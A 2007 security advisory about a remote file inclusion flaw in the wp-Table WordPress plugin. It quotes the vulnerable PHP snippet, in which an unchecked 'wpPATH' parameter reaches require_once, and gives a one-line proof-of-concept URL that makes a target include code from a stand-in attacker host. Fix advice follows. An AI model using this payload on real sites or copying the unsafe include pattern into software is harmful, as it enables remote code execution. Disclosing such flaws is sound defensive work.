adv82-K-159-2007.txt

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[ECHO_ADV_82$2007] wordpress plugins wp-Table <= 1.43 (inc_dir) Remote File Inclusion Vulnerability  
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Author : M.Hasran Addahroni  
Date : May, 1 st 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv82-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
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Affected software description:  
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Application : wp-Table   
version : <= 1.43  
Vendor : http://alexrabe.boelinger.com/?page_id=3  
Description :  
  
This plugin is a simple table manager for wordpress.  
  
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Vulnerability:  
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- Invalid include function at js/wptable-button.php :   
  
----------------js/wptable-button.phpp-------------------  
...  
if (!$_POST) $wppath=$_GET['wpPATH'];  
else $wppath=$_POST['wpPATH'];  
  
require_once($wppath.'/wp-config.php');  
require_once($wppath.'/wp-admin/admin.php');  
  
global $wpdb;  
...  
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Input passed to the "wpPATH" parameter in js/wptable-button.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
  
  
  
Poc/Exploit:  
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http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil?  
  
  
Solution:  
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- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
- use the latest version   
  
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Contact:  
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K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
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